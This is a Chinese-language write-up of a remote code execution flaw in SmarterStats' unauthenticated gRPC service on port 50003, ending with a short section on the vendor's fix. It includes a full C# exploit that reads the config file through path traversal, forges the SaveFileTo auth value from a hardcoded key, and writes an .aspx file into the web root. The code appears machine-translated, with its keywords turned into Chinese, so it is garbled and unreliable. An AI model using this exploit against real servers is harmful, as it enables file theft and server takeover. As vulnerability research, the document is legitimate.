SmarterStat 基于 gRPC 的 RCE
環境
2016 8011版本,下載地址:https://downloads.smartertools.com/smarterstats/100.0.8011/SmarterStats_8011.exe
安裝可以看官方的文檔https://help.smartertools.com/smarterstats/current/topics/Installation/Installation.aspx
分析
SSSvc.exe運行在50003端口上,默認監聽0.0.0.0

拉到dnspy中看一下

main函數啟動了一個SSCollect服務類。

服務類調用了ServiceWorker.StartService()

新一個處理函數ServiceLifetimeFunction

這里調了ServiceWorker.Start()

啟動中調用GrpcManager.StartGrpc()開啟監聽gRPC。
繼續看gRPC,在StartGrpc中,定義了四個服務

分別對應
- 查詢 -> QueryServiceImplementation
- 站點列表 -> 站點列表服務實現
- ServiceOperations -> ServiceOperationsServiceImplementation
- 站點控制 -> 站點控制服務實現
并且端口綁定在0.0.0.0:50003上
順便點開一個服務來看看 QueryServiceImplementation

服務運營服務實施

能看到grpc的遠程調用函數實現。
先來試一下調用。創建一個csharp的grpc項目,可以直接用gRPC的example項目
在Query.BindService(new QueryServiceImplementation()).Intercept(interceptor)的Query類中,給了我們rpc客戶端的工具類

把這個代碼dll加入引用中,然后如下。

這樣就調用到了SStatSvc.Communication.QueryServiceImplementation.GetAvailableQueries(GetAvailableQueriesRequest, ServerCallContext)
下一個就是簡單的尋找漏洞點了。
SStatSvc.Communication.ServiceOperationsServiceImplementation.GetExportedLogsForSite(GetExportedLogsForSiteRequest, IServerStreamWriter, ServerCallContext)任意讀取文件
這里需要關閉 dnspy 的編譯優化查看具體邏輯



SStatSvc.Communication.ServiceOperationsServiceImplementation.SaveFileTo(SaveFileToRequest, ServerCallContext)
可選寫入文件

加密密鑰編碼硬件,沒用。

經驗
使用 Grpc.Core ;使用 系統;使用 System.Collections.Generic ;使用 System.Linq ;使用 System.Text ;使用 System.Threading.Tasks ;使用 SmarterStats.Config.Protos ;使用 Google.Protobuf.WellKnownTypes ;使用 SmarterStats.Config.Utility ;使用 System.IO ;使用 Google.Protobuf ;namespace Routeguide {
class Program
{
static async Task < int > Main ( string [] args )
{
var channel = new Channel ( "172.16.16.132:50003" , ChannelCredentials . Insecure );
服務運營。ServiceOperationsClient 客戶端 = 新的 ServiceOperations 。ServiceOperationsClient (通道);
GetExportedLogsForSiteRequest 請求 = 新的 GetExportedLogsForSiteRequest ();
請求。FileToDownload = @"..\..\MRS\App_Data\Config\AppConfig.xml" ;
AsyncServerStreamingCall < GetExportedLogsForSiteResponse > asyncServerStreamingCall = 客戶端。GetExportedLogsForSite (請求);
而 (等待 asyncServerStreamingCall。ResponseStream。MoveNext ()){控制臺。_ _ WriteLine ( asyncServerStreamingCall .
響應流。當前. 數據。ToStringUtf8 ());
}
SaveFileToRequest saveFileToRequest = new SaveFileToRequest ();
保存文件到請求。文件名 = @"C:\Program Files (x86)\SmarterTools\SmarterStats\MRS\test.aspx" ;
CryptographyHelper cryptographyHelper = 新的 CryptographyHelper ( 0 );
時間戳 時間戳 = 時間戳。FromDateTime (日期時間. UtcNow );
保存文件到請求。創建日期 = 時間戳;
保存文件到請求。LastWriteDate = 時間戳;
密碼學助手。SetKey ( saveFileToRequest . CreationDate . ToDateTime (). ToString ( "MMddyyyy" ) + " ksghsfkgjh" , null );
字符串 auth = cryptographyHelper 。EncodeToBase64 ( saveFileToRequest .文件名);
保存文件到請求。身份驗證 = 身份驗證;
保存文件到請求。文件數據 = 字節串. CopyFromUtf8 (文件。ReadAllText (@“1.txt” ));客戶端。SaveFileTo ( saveFileToRequest ); 控制臺。WriteLine ( "寫完。" ); 控制臺。讀鍵();返回0 ; } } }
修復
GetExportedLogsForSite文件并讀取截取了文件名加了鑒權

SaveFileTo 文件寫入限制了后綴白并且正則限制了路徑

想念
SmarterStats中為gRPC提供了一個ServiceOperations.ServiceOperationsClient類方便客戶端調用,如果沒有這個類我們應該怎么構造rpc協議?
wireshark抓包可以看到grpc的請求結構,包括uri、ua、params等,這個東西等我學了后來吧。

參考
- https://frycos.github.io/vulns4free/2022/06/17/yet-another-rpc-framework.html